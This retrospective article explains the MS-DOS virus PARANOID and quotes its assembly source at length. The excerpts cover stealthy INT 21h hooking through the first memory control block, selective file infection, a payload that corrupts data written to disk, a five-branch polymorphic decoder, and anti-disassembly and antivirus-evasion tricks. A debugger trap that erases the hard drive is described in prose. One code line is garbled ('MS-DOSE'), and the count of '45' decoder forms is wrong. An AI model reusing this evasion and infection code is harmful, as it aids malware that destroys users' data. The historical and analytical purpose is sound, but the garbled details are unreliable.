; INT 21H umbiegen:
;------------------------------------------------------------------------------
; Aufruf von INT 21H ──> Vektor zeigt auf das 5.BYTE des ersten MCB ──> JMP
; ──> Sprung zum eigentlichen Virus... INT 21H zeigt somit in den 1. MCB
;------------------------------------------------------------------------------
            MOV AH,52H                          ;DOS INFORMATION BLOCK (DIB)
            MS-DOSE                                ;ermitteln, undokumentiert.
...
            MOV AX,ES                           ;<ES> in <AX>
            DEC AX                              ;<AX> verkleinern
            MOV ES,AX                           ;<ES> somit verkleinert!
            ADD BX,12                           ;OFS auf den ersten MCB
            LES BX,ES:[BX]                      ;Erste MCB in <ES>/<BX>
                                                ;OFS auf das 1. ungenuzte BYTE
            ADD BX,5                            ;im MCB.
            MOV BYTE PTR ES:[BX],0EAH           ;Direct JMP
            MOV WORD PTR ES:[BX+1],OFFSET NEU21 ;OFS setzen
            MOV WORD PTR ES:[BX+3],DS           ;SEG setzen!
;------------------------------------------------------------------------------
            XOR AX,AX                           ;<DS> wieder...
            MOV DS,AX                           ;...auf SEG 0
            MOV WORD PTR DS:[21H*4+2],ES        ;SEG für INT 21H biegen
            MOV WORD PTR DS:[21H*4],BX          ;OFS für INT 21H biegen
;------------------------------------------------------------------------------
...

The approach worked because of how MS-DOS manages memory and system resources: The MS-DOS Information Block (DIB), retrieved using the undocumented INVARS (function number 52h) call to INT 21h, contains pointers and data structures, including the segment address of the first MCB. The first MCB is always present and is critical for MS-DOS operations, making it a reliable hooking point. The virus exploited this MCB structure to conceal its presence by not making the interrupt descriptor table’s entry for INT 21h point directly to its code. Instead, it inserted a jump instruction into the first MCB, redirecting to the virus code. The interrupt descriptor table’s entry for INT 21h was then set to this jump instruction’s address within the first MCB.

This technique disguised the virus’ memory allocation, as INT 21h now pointed to the first MCB, which is typically owned by MS-DOS, making the INT 21h handler routine look harmless (even though it directly jumped to the virus). By making the handler routine for INT 21h appear to belong to MS-DOS, the virus avoided detection by simple memory checks or MS-DOS utilities. Additionally, writing the jump instruction into the first MCB did not break MS-DOS because it was stored at byte offset 12 onwards, which is considered unused by the MCB.

Redirecting INT 21h allowed the virus to intercept any MS-DOS system calls, enabling it to monitor, modify, or redirect operations as needed. Whenever hard disks or floppy drives were accessed via INT 21h, PARANOID would check for potential host programs on the accessed media and infect them without causing suspicion due to unusual hardware activity.

The TSR.INC macro used by the PARANOID code handled storing (pushing to the stack) the interrupted program’s processor state when taking control and restoring (popping from the stack) the interrupted processor’s state when passing control back to an interrupted program.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
            TITLE TSR.INC

;┌────────────────────────────────────────────────────────────────────────────┐
;│ PUSHALL:                                                                   │
;│----------------------------------------------------------------------------│
;│ Alle Register auf den Stack schieben.                                      │
;└────────────────────────────────────────────────────────────────────────────┘
PUSHALL     MACRO

            IFNDEF VIRUS
              PUSHF
            ENDIF
            PUSH AX
            PUSH BX
            PUSH CX
            PUSH DX
            PUSH DS
            PUSH ES
            PUSH DI
            PUSH SI
            PUSH BP

            ENDM

;┌────────────────────────────────────────────────────────────────────────────┐
;│ POPALL:                                                                    │
;│----------------------------------------------------------------------------│
;│ Alle Register vom Stack ziehen.                                            │
;└────────────────────────────────────────────────────────────────────────────┘
POPALL      MACRO

            POP BP
            POP SI
            POP DI
            POP ES
            POP DS
            POP DX
            POP CX
            POP BX
            POP AX
            IFNDEF VIRUS
              POPF
            ENDIF

            ENDM

Harnessing TSR functionality, PARANOID was able to infect files unnoticed on inserted floppy disks and hard drives, as the process of infection correlated with the user’s activities involving the mass data storage devices.

Travel the world and send greetings

As PARANOID stayed resident in memory and activated upon accessing mass storage media, it could infect programs on floppy disks without being noticed by the user. The virus would only infect a host on a diskette if the user accessed the diskette while performing everyday tasks. This was done by hooking into INT 21h routine to execute a program. Whenever a COM or EXE program was to be accessed, the virus determined whether to infect it or not (not every executed program was infected so as not to cause a stir).

The code started by checking if the MS-DOS function call being executed was EXEC (function number 4B00h), used to load and execute a program. This check was designed to confuse heuristic functions of antivirus software by comparing an XORed variant of 4B00h with the XORed version of the actual function number. Then, the hook would test the file name to determine if it should be infected, targeting only COM or EXE files.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
...
;------------------------------------------------------------------------------
; EXEC-Aufruf (DOS-Funktionsnum 4B00h)? Es wird mit dem verschlüsselten <BP>
; verglichen, um F-PROT (etc.) durcheinander zu bringen ??? (Hoffentlich!)
;------------------------------------------------------------------------------
            ;CMP BYTE PTR SS:[BP+1],(43H XOR 13H) ;DOS_GET/SET-ATTR ?
            ;JE GO_INF
            CMP SS:[BP],(4B00H XOR 1313H)       ;DOS_EXEC ?
            JNE END21POP

;------------------------------------------------------------------------------
;EXE oder COM oder keins von beidem (Extension und Exeptionnames testen):
;<DS:DX>: Adr. des Filenamens, CS:[SCAN]: OFS von nicht zu infizierenden Files
;(Namen), END21POP: Wenn Filename nicht tauglich --> END21POP.
;------------------------------------------------------------------------------
GO_INF:     FNAME_TEST DS,DX,CS:[SCAN],ANZ_SCAN,END21POP ;FNamen testen

;??????????????????????????????????????????????????????????????????????????????
; 32-BIT wert in SLICE eimal nach LINKS drehen. Wenn im HI-Bit dieses 32-BIT
; Wertes eine 1 steht, dann wird der Host infiziert !!!
;??????????????????????????????????????????????????????????????????????????????
            IF SHIFT_SLICE
              MOV AX,WORD PTR CS:[SLICE]        ;HI-WORD von SLICE
              MOV CX,WORD PTR CS:[SLICE+2]      ;LO-SLICE in <CX>

              PUSH AX                           ;HI-SLICE merken
              SHL AX,1                          ;HI-HI-BIT ins CF
              POP AX                            ;Original HI-SLICE zurück
              RCL CX,1                          ;LO-SLICE mit HI-HI-BIT drehen
              RCL AX,1                          ;HI-SLICE mit LO-HI-BIT dreheb

              MOV WORD PTR CS:[SLICE],AX        ;HI-SLICE in <AX>
              MOV WORD PTR CS:[SLICE+2],CX      ;LO-SLICE in <CX>

              SHL AX,1                          ;HI-BIT ins CF
              JNC END21POP                      ;Wenn CF=1 --> END21POP
            ENDIF
;??????????????????????????????????????????????????????????????????????????????
            JMP START_VIR                                ;START_VIR
            IF STREU_DUMMY                               ;-->
              DB 80H                                     ;Falsche Befehle !!! (nur TD)
            ENDIF     
...

The code then performed a bitwise rotation on a predefined 32-bit value and only if the highest bit of the rotated value was set, the host got infected. The pattern of that predefined value determined the probability of potential hosts being infected. Finally START_VIR would cause the virus to append the virus to the newly identified host, making sure to prevent double infection and preserving the original file attributes such as the date of modification.

The hooked INT 21h handler was to trigger the infection of targeted hosts that met certain criteria while preventing double infections and preserving the original file’s attributes.

Greeting the world […]

As PARANOID had already hooked into INT 21h, its greeting activity would also be triggered by this hook, this time upon write operations, but only when the PUMPVOLL switch had been activated. Consequently, the hook not only would infect other programs during EXEC (function number 4B00h) calls but also would test whether the user program was performing a WRITE (function number 40h) operation. This check again was designed to confuse heuristic functions of antivirus software by comparing an XORed variant of 40h with the XORed version of the actual function number.

1
2
3
4
5
6
7
8
9
10
11
12
...
;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
; Datei schreiben ? Wenn ja --> FILLFILE
;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
            IF PUMPVOLL
              CMP BYTE PTR SS:[BP+1],(40H XOR 13H) ;DOS_FWRITE ?
              JNE KEIN_FWRITE
              JMP FILLFILE                      ;JA --> FILLFILE
KEIN_FWRITE   EQU $
            ENDIF
;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX 
...

Having detected a WRITE operation, PARANOID would test whether to trigger its malicious intent. This included skipping the operation if it targeted the standard output stream of MS-DOS. Additionally, the trigger would activate only if the generation counter was a multiple of four.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
...
;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
; Wenn die Auslösebedingung erfüllt wird, dann den von der Anwendung auf Disk
; zu schreibende WRITE_BUFFER mit unserem Text füllen!!! Somit besteht der
; dann geschriebene Block nur noch aus dem neuen Text !!!!
;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
            IF PUMPVOLL
;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
FILLFILE:     CMP CS:[TRIGGER],0                ;[TRIGGER] wird nach x Kopien
              JZ END21POP                       ;unwiederruflich auf 1 gesetzt.
              MOV AL,BYTE PTR CS:[KOPIE]        ;Testen, ob der Kopienzähler
              AND AL,011B                       ;teilbar durch 4 ist !!!
              JNZ END21POP                      ;NEIN --> END21POP
              CMP BX,4                          ;Handle=Standard Ausgabe etc?
              JBE END21POP                      ;JA --> END21POP
;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
              MOV SI,PUMP_SIZE                  ;Text-länge in <SI>
              MOV BX,DX                                  ;OFS des Puffers in <BX>, s.u.
BOESE:        MOV AL,BYTE PTR CS:[SI+OFFSET PUMP_TEXT-1] ;Text lesen
              XOR AX,SI                                  ;Entschlüsseln!
              MOV DI,CX                         ;...und dann in den...
              DEC DI                            ;(Pufferzeiger verkleinern!)
              MOV DS:[DI+BX],AL                 ;Puffer schreiben!
              DEC SI                            ;String-Zeiger verkleinern
              JNZ EVIL                          ;NULL? NEIN --> EVIL
              MOV SI,PUMP_SIZE                  ;Text-länge in <SI>
EVIL:         LOOP BOESE                        ;Puffer voll machen!
              JMP END21POP                      ;...und zur Dose!

              INCLUDE PUMPVOLL.XOR              ;PUMP_TEXT & PUMP_SIZE !!!

            ENDIF
;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
...

Upon determining that all criteria for triggering were met, the data to be written by the user would be overwritten with the virus’ own greeting. The virus would replace the data intended for the disk (whether a hard disk or a floppy disk) by manipulating the buffer, overwriting it with amongst others the following data:

Paranoid ([c] PRIEST V.D.G.I.) likes your delicious data !!!

Polymorphic decoder

The virus avoided detection by preventing unambiguous signatures that could reveal its presence within infected programs. It did this by encoding itself and obfuscating the decoding algorithm before infecting a chosen host. The CODER.INC macro library contained the necessary code for this purpose, being the polymorphic decoder (activated by the MIT_CODER switch). The decoding algorithm was constructed from several segments, each with multiple interchangeable code blocks. Each time the virus infected a host, the decoding algorithm was scrambled together by randomly choosing one of the alternative code blocks for each segment, then initializing it with a random decoding seed (which was also used to encode the virus’ binary data injected into the host).

This method of scrambling the code, the decoding algorithm and the encoded virus’ binary data always ‘looked’ different, making it difficult to extract an unambiguous signature. Due to the algorithm’s segmentation and alternate implementations for each segment, they described the decoder as being polymorphic.

Antivirus software vendors typically extracted unique signatures from viruses to store them in virus signature databases. Each signature uniquely identifies a virus, enabling antivirus software to detect infected programs when scanning a computer using the signatures in its database and, in many cases, to remove the virus from the host.

The decoder algorithm was divided into nine segments (1 to 9), with each segment having five implementations (A to E). These segments were fully interchangeable, meaning segment 5 of implementation A (A5) could be swapped with segment 5 of any other implementation (B5, C5, D5, or E5) while still ensuring correct functioning of the algorithm: This ensured the algorithm functioned the same regardless of which implementation was used for each segment when scrambling the algorithm before infecting a new host. With five alternatives for each of the nine segments, the polymorphic decoder could appear in up to 45 different forms, each with a different “signature.” Adding more implementations would further increase the possible variations.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
...
;------------------------------------------------------------------------------
; Die verschiedenen Zweige sind in Module zusammengefasst, die von Zweig zu
; Zweig beliebig durch korrespondierende Module ausgetauscht werden können. So
; kann z.B. Modul A2 durch Modul C2 ausgetauscht werden, da die korrespondier-
; enden Module funktionskompatibel zueinander sind. Modul A2 fängt beim Label
; A2 an und hört vor dem Label A3 auf usw.
;------------------------------------------------------------------------------
;==============================================================================
; ZWEIG_A:
;------------------------------------------------------------------------------
; FUNKTION: 1. Alternative für die Verschlüsselungsroutine.
;==============================================================================
ZWEIG_A:    MOV AX,0                            ;<BP> <-- OFS_VERSCHIEBUNG re-
            XCHG AX,BP                          ;lativ zum OFS 0
;──────────────────────────────────────────────────────────────────────────────
A1:         IFDIFI <CSTART>,<0>                 ;<DI> <-- Start-OFS des zu
              MOV SI,OFFSET CSTART              ;verschlüsselnden Blocks
            ELSE
              XOR SI,SI
            ENDIF
            ADD SI,BP
            XCHG DI,SI
;──────────────────────────────────────────────────────────────────────────────
A2:         MOV BX,BP                           ;<AX> <-- START_CRYPT_KEY
            ADD BX,OFFSET KEY_OFS
            MOV AX,WORD PTR KEY_SEG:[BX]
;──────────────────────────────────────────────────────────────────────────────
A3:         ADD AL,7                            ;START_CRYPT_KEY verändern (1)
;──────────────────────────────────────────────────────────────────────────────
A4:         MOV BX,AX                           ;Block verschlüsseln (a)
            MOV SI,DI
            ADD BX,AX
            XOR CSEG:[SI],BX
;──────────────────────────────────────────────────────────────────────────────
A5:         SUB AH,7                            ;START_CRYPT_KEY verändern (2)
;──────────────────────────────────────────────────────────────────────────────
A6:         MOV CL,BYTE PTR CSEG:[DI]           ;Block verschlüsseln (b)
            XOR CL,AH
            MOV BYTE PTR CSEG:[DI],CL
;──────────────────────────────────────────────────────────────────────────────
A7:         ADD DI,1                            ;CRYPT_OFS = CRYPT_OFS + 1
;──────────────────────────────────────────────────────────────────────────────
A8:         MOV DX,DI                           ;CRYPT_OFS > CENDE ?
            LEA BX,CENDE[BP]                    ;JMP --> x3
            CMP DX,BX
            JBE A3
;──────────────────────────────────────────────────────────────────────────────
A9:         JMP BP                              ;JMP --> Virus-CODE
;──────────────────────────────────────────────────────────────────────────────
A10         EQU $
...
ZWEIG_B, ZWEIG_C and ZWEIG_D […]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
...
;==============================================================================
; ZWEIG_B:
;------------------------------------------------------------------------------
; FUNKTION: 2. Alternative für die Verschlüsselungsroutine.
;==============================================================================
ZWEIG_B:    MOV BP,0                            ;<BP> <-- OFS_VERSCHIEBUNG relativ zum OFS 0
;──────────────────────────────────────────────────────────────────────────────
B1:         MOV DI,BP                           ;<DI> <-- Start-OFS des zu
            IFDIFI <CSTART>,<0>                 ;verschlüsselnden Blocks
              ADD DI,OFFSET CSTART
            ENDIF
;──────────────────────────────────────────────────────────────────────────────
B2:         MOV AX,KEY_SEG:[OFFSET KEY_OFS+BP]  ;<AX> <-- START_CRYPT_KEY
;──────────────────────────────────────────────────────────────────────────────
B3:         INC AL                              ;START_CRYPT_KEY verändern (1)
;──────────────────────────────────────────────────────────────────────────────
B4:         XCHG BP,DI                          ;Block verschlüsseln (a)
            XOR CSEG:[BP],AX
            XCHG DI,BP
;──────────────────────────────────────────────────────────────────────────────
B5:         DEC AH                              ;START_CRYPT_KEY verändern (2)
;──────────────────────────────────────────────────────────────────────────────
B6:         MOV DH,AH                           ;Block verschlüsseln (b)
            MOV SI,DI
            XOR BYTE PTR CSEG:[SI],DH
;──────────────────────────────────────────────────────────────────────────────
B7:         INC DI                              ;CRYPT_OFS = CRYPT_OFS + 1
;──────────────────────────────────────────────────────────────────────────────
B8:         MOV DX,BP                           ;CRYPT_OFS > CENDE ?
            MOV CX,DI                           ;JMP --> x3
            ADD DX,OFFSET CENDE
            CMP DX,CX
            JA B3
;──────────────────────────────────────────────────────────────────────────────
B9:         XCHG SI,BP                          ;JMP --> Virus-CODE
            MOV BP,SI
            JMP SI
;──────────────────────────────────────────────────────────────────────────────
B10         EQU $

;==============================================================================
; ZWEIG_C:
;------------------------------------------------------------------------------
; FUNKTION: 3. Alternative für die Verschlüsselungsroutine.
;==============================================================================
ZWEIG_C:    MOV SI,0                            ;<BP> <-- OFS_VERSCHIEBUNG rel-
            MOV BP,SI                           ;ativ zum OFS 0
;──────────────────────────────────────────────────────────────────────────────
C1:         LEA DI,CSTART[BP]                   ;<DI> <-- Start-OFS des zu
;──────────────────────────────────────────────────────────────────────────────
C2:         LES AX,DWORD PTR KEY_SEG:[OFFSET KEY_OFS+BP] ;<AX> <-- START_CRYPT_KEY
;──────────────────────────────────────────────────────────────────────────────
C3:         ROR AL,1                            ;START_CRYPT_KEY verändern (1)
;──────────────────────────────────────────────────────────────────────────────
C4:         XOR CSEG:[DI],AX                    ;Block verschlüsseln (a)
;──────────────────────────────────────────────────────────────────────────────
C5:         ROL AH,1                            ;START_CRYPT_KEY verändern (2)
;──────────────────────────────────────────────────────────────────────────────
C6:         XCHG DI,BX                          ;Block verschlüsseln (b)
            XOR BYTE PTR CSEG:[BX],AL
            MOV DI,BX
;──────────────────────────────────────────────────────────────────────────────
C7:         ADD DI,010FFH                       ;CRYPT_OFS = CRYPT_OFS + 1
            ADD DI,0EF02H
;──────────────────────────────────────────────────────────────────────────────
C8:         MOV CX,BP                           ;CRYPT_OFS > CENDE ?
            MOV BX,DI                           ;JMP --> x3
            SUB BX,OFFSET CENDE+1
            CMP BX,CX
            JNZ C3
;──────────────────────────────────────────────────────────────────────────────
C9:         MOV AX,BP                           ;JMP --> Virus-CODE
            JMP AX
;──────────────────────────────────────────────────────────────────────────────
C10         EQU $

;==============================================================================
; ZWEIG_D: (Nur bei einem VIRUS_OFS von 0 !!! --> EXE-HOST !!!)
;------------------------------------------------------------------------------
; FUNKTION: 4. Alternative für die Verschlüsselungsroutine.
;==============================================================================
ZWEIG_D:    SUB BX,BX                           ;<BP> <-- OFS_VERSCHIEBUNG rel-
            XCHG BX,BP                          ;ativ zum OFS 0
;──────────────────────────────────────────────────────────────────────────────
D1:         XOR DI,DI                           ;<DI> <-- Start-OFS des zu verschlüsselnden Blocks
;──────────────────────────────────────────────────────────────────────────────
D2:         LEA SI,KEY_OFS[BP]                  ;<AX> <-- START_CRYPT_KEY
            MOV AX,KEY_SEG:[SI]
;──────────────────────────────────────────────────────────────────────────────
D3:         INC AL                              ;START_CRYPT_KEY verändern (1)
            XOR AL,AH                           
;──────────────────────────────────────────────────────────────────────────────
D4:         MOV BX,DI                           ;Block verschlüsseln (a)
            XOR WORD PTR CSEG:[BX],AX
;──────────────────────────────────────────────────────────────────────────────
D5:         INC AH                              ;START_CRYPT_KEY verändern (2)
            XOR AH,AL
;──────────────────────────────────────────────────────────────────────────────
D6:         MOV BP,DI                           ;Block verschlüsseln (b)
            XOR BYTE PTR CSEG:[BP],AH
            SUB BP,BP
;──────────────────────────────────────────────────────────────────────────────
D7:         SUB DI,0FFFFH                       ;CRYPT_OFS = CRYPT_OFS + 1
;──────────────────────────────────────────────────────────────────────────────
D8:         MOV BX,DI                           ;CRYPT_OFS > CENDE ?
            CMP BX,OFFSET CENDE                 ;JMP --> x3
            JA D9
            JMP D3
;──────────────────────────────────────────────────────────────────────────────
D9:         SUB DI,DI                           ;JMP --> Virus-CODE
            JMP DI
;──────────────────────────────────────────────────────────────────────────────
D10         EQU $
...

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
...
;==============================================================================
; ZWEIG_E: (Nur bei einem VIRUS_OFS von 0 !!! --> EXE-Host !!!)
;------------------------------------------------------------------------------
; FUNKTION: 5. Alternative für die Verschlüsselungsroutine.
;==============================================================================
ZWEIG_E:    XOR BP,BP                           ;<BP> <-- OFS_VERSCHIEBUNG relativ zum OFS 0
;──────────────────────────────────────────────────────────────────────────────
E1:         MOV DI,OFFSET CSTART                ;<DI> <-- Start-OFS des zu verschlüsselnden Blocks
;──────────────────────────────────────────────────────────────────────────────
E2:         XOR AX,AX                           ;<AX> <-- START_CRYPT_KEY
            ADD AX,KEY_SEG:[KEY_OFS]
;──────────────────────────────────────────────────────────────────────────────
E3:         ADD AL,AH                           ;START_CRYPT_KEY verändern (1)
;──────────────────────────────────────────────────────────────────────────────
E4:         MOV SI,DI                           ;Block verschlüsseln (a)
            MOV CX,CSEG:[DI]
            XOR CX,AX
            XCHG CSEG:[SI],CX
;──────────────────────────────────────────────────────────────────────────────
E5:         ADD AH,AL                           ;START_CRYPT_KEY verändern (2)
;──────────────────────────────────────────────────────────────────────────────
E6:         MOV BH,AH                           ;Block verschlüsseln (b)
            MOV BP,DI
            XOR BYTE PTR CSEG:[BP],BH
            XOR BP,BP
;──────────────────────────────────────────────────────────────────────────────
E7:         ADD DI,998DH                        ;CRYPT_OFS = CRYPT_OFS + 1
            ADD DI,6674H
;──────────────────────────────────────────────────────────────────────────────
E8:         XCHG DX,DI                          ;CRYPT_OFS > CENDE ?
            CMP DX,OFFSET CENDE                 ;JMP --> x3
            MOV DI,DX
            JBE E3
;──────────────────────────────────────────────────────────────────────────────
E9:         MOV DX,0                            ;JMP --> Virus-CODE
            JMP DX
;──────────────────────────────────────────────────────────────────────────────
E10         EQU $
...

The virus encoding, along with the decoding algorithm, did not use hard-coded seeds that would lead to unique signatures. Instead, encoding was done with random seeds, which patched each newly created variant of the decoding algorithm. Since the virus code itself was encoded with that patched random seed before being appended to the host program and the decoder prepended to the virus code varied its appearance, it was highly unlikely for antivirus vendors to extract a unique signature for their software to detect PARANOID infected files.

Integrating the decoder […]

The polymorphic decoder was implemented by one of the duo, who, despite encoding and decoding working flawlessly, struggled to integrate this feature into the virus and eventually gave up exasperated. Demonstrating teamwork, the other author tackled the challenge one afternoon and by evening proclaimed that the integration of the polymorphic decoder was complete. “I had to make some modifications here and there to both the virus code and the polymorphic decoder and added some alternative code segments to the decoder and here we go!

This is a great example of how a strong team complements each other — competing with one another rather than competing against each other.

Team spirit is crucial in various software development methodologies. Agile approaches like Scrum and Extreme Programming (XP) emphasize collaboration, fostering a strong team environment. Kanban and Lean focus on enhancing teamwork. DevOps promotes shared responsibility. These methodologies prioritize mutual respect, creating an environment where team spirit drives successful software development.

Stealth techniques

By implementing additional stealth strategies, PARANOID aimed to evade detection and analysis. The aforementioned switches provide insight into these strategies: Including dummy code to break disassembly (HIDE_CODE), adding misleading code to confuse debuggers (STREU_DUMMY), enabling a debugger trap to delete the hard drive upon analysis (KEIN_DEBUG) or using unusual MS-DOS function calls to keep the virus’ activity under the radar (DOS_VIA_5D00).

Misleading the sorcerer of disassembly […]

Binary executable programs, along with the virus code embedded in infected hosts, can be disassembled. Disassembly refers to the process of converting an executable’s binary machine code back into assembly code, the human-readable form of machine code. Regarding MS-DOS and the x86 CPU instruction set, Sourcer was the top tool among disassemblers. To prevent meaningful reconversion of the machine code, the virus developers intentionally confused the disassembler, bringing it out of sync and misleading its analysis.

Machine code instructions for x86 processors typically require more than one byte to be represented in memory. If a disassembler starts disassembling in the middle of an instruction, it will misinterpret the instruction’s final portion as a new instruction. This causes the disassembler to incorrectly decode subsequent instructions, again interpreting their middle parts as beginnings of new instructions. This process continues, resulting in a chain of errors until the disassembler coincidentally resynchronizes with the correct instruction boundaries. This effect can be used to complicate or prevent accurate disassembly.

The HIDE_CODE switch, when enabled, scattered the virus’ code with obfuscating code and dummy bytes, causing the Sourcer disassembler to struggle with interpreting the subsequent bytes as valid machine code instructions. This resulted in Sourcer producing either incorrect assembly instructions or mere byte value definitions.

1
2
3
4
5
6
7
8
9
...
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
            IF HIDE_CODE
              JMP WORD PTR CS:[ZIEL_WORD+BP]    ;--> HIDE_VIR_JMP
              DB 80H
HIDE_VIRJMP   EQU $                             ;<-- Hierhin !!!
            ENDIF
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
...

This code snippet is part of an obfuscation strategy designed to confuse disassemblers and debuggers by making the control flow harder to follow. The indirect jump skips over a dummy byte (0x80), causing disassemblers like Sourcer to misinterpret this byte as the start of a new instruction. This misinterpretation leads to the subsequent code being incorrectly disassembled, effectively scrambling the disassembly process. Another such snippet actively obfuscates the use of the obscure (undocumented) MS-DOS networking function 5D00h (employing yet another stealth strategy to conceal the virus’ existence):

1
2
3
4
5
6
7
8
9
10
11
12
13
...
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
; MOV AX,5D00H vor dem SR verstecken:
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
              IF HIDE_CODE                      ;[ZIEL_WORD] zeigt auf den
                JMP WORD PTR CS:[ZIEL_WORD]     ;OFS von MOV_AX_5D00 !!!
                DB 02EH                         ;SR täuschen !!!
MOV_AX_5D00     EQU $                           ;Hier gehts weiter -->
              ENDIF
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
              MOV AX,5D00H                      ;DOS-NETZWERK-FUNKTION
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
...

As part of the HIDE_CODE functionality, this snippet aims to conceal the use of the undocumented MS-DOS networking function 5D00h. It hides the MOV AX,5D00h instruction (denoting the INT 21h networking function) by using a combination of an indirect jump and the dummy byte 02EH, which tricks the disassembler into interpreting 02EH as the beginning of the next instruction, thereby preventing correct disassembly.

By using indirect jumps and inserting dummy bytes, this stealth technique obfuscates the control flow, making it difficult for analysis tools to accurately disassemble or debug. This helps protect the virus from detection and analysis.

Use of obscure MS-DOS networking routines […]

Advanced antivirus software used TSR techniques to live protect computers by monitoring and analyzing calls to INT 21h routines, reporting and blocking any suspicious activity. While exploring more or less popular BBSes, the two found documents detailing MS-DOS functionality accessed by lesser-known networking routines. To avoid detection by active antivirus software, the duo decided to optionally use these networking routines for local MS-DOS calls (DOS_VIA_5D00). This approach, as they verified, went undetected by common antivirus software at the time.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
...
;┌────────────────────────────────────────────────────────────────────────────┐
;│ GODOS:                                                                     │
;│----------------------------------------------------------------------------│
;│ GODOS: Direkter Aufruf von INT 21H                                         │
;└────────────────────────────────────────────────────────────────────────────┘
GODOS       PROC NEAR
;??????????????????????????????????????????????????????????????????????????????
; Aufruf aller DOS-Funktionen über die Funktion AX=5D00h/INT 21h:
;??????????????????????????????????????????????????????????????????????????????
            IF DOS_VIA_5D00
              ...
              MOV WORD PTR CS:[R_AX],AX         ;DPL Regs eintragen -->
              MOV WORD PTR CS:[R_BX],BX         ;
              MOV WORD PTR CS:[R_CX],CX         ;
              MOV WORD PTR CS:[R_DX],DX         ;
              MOV WORD PTR CS:[R_SI],SI         ;
              MOV WORD PTR CS:[R_DI],DI         ;
              MOV WORD PTR CS:[R_DS],DS         ;
              MOV WORD PTR CS:[R_ES],ES         ;<-- DPL Regs eingetragen
              MOV AX,CS                         ;OWNER-PSP mit dem Virus <CS>
              MOV WORD PTR CS:[PROG_SEG],AX     ;angeben
              MOV DS,AX                         ;<DS:DX> --> Adresse der für
              MOV DX,OFFSET DPL                 ;AX=5D00h benötigten DPL
              ...
              MOV AX,5D00H                      ;DOS-NETZWERK-FUNKTION
              ...
              CMP CS:[R_AH],04CH                ;Programm Beenden?
              JNZ CALL_DOS                      ;NEIN --> CALL_DOS
              MOV BYTE PTR CS:[EXIT_5D00],0     ;JA --> Flag zurücksetzen
              JMP DWORD PTR CS:[ALT21]          ;INT 21 wie der Host aufrufen
              IF STREU_DUMMY                    ;-->
                DB 80H                          ;Falsche Befehle !!! (nur TD)
              ENDIF                             ;<--
;??????????????????????????????????????????????????????????????????????????????
CALL_DOS      EQU $
;??????????????????????????????????????????????????????????????????????????????
            ENDIF
;??????????????????????????????????????????????????????????????????????????????
            PUSHF                               ;INT simulieren
            CALL DWORD PTR CS:[ALT21]           ;INT 21H direkt aufrufen.
            RET                                 ;Zurück !
            IF STREU_DUMMY                      ;-->
              DB 80H                            ;Falsche Befehle !!! (nur TD)
            ENDIF                               ;<--

GODOS       ENDP
...

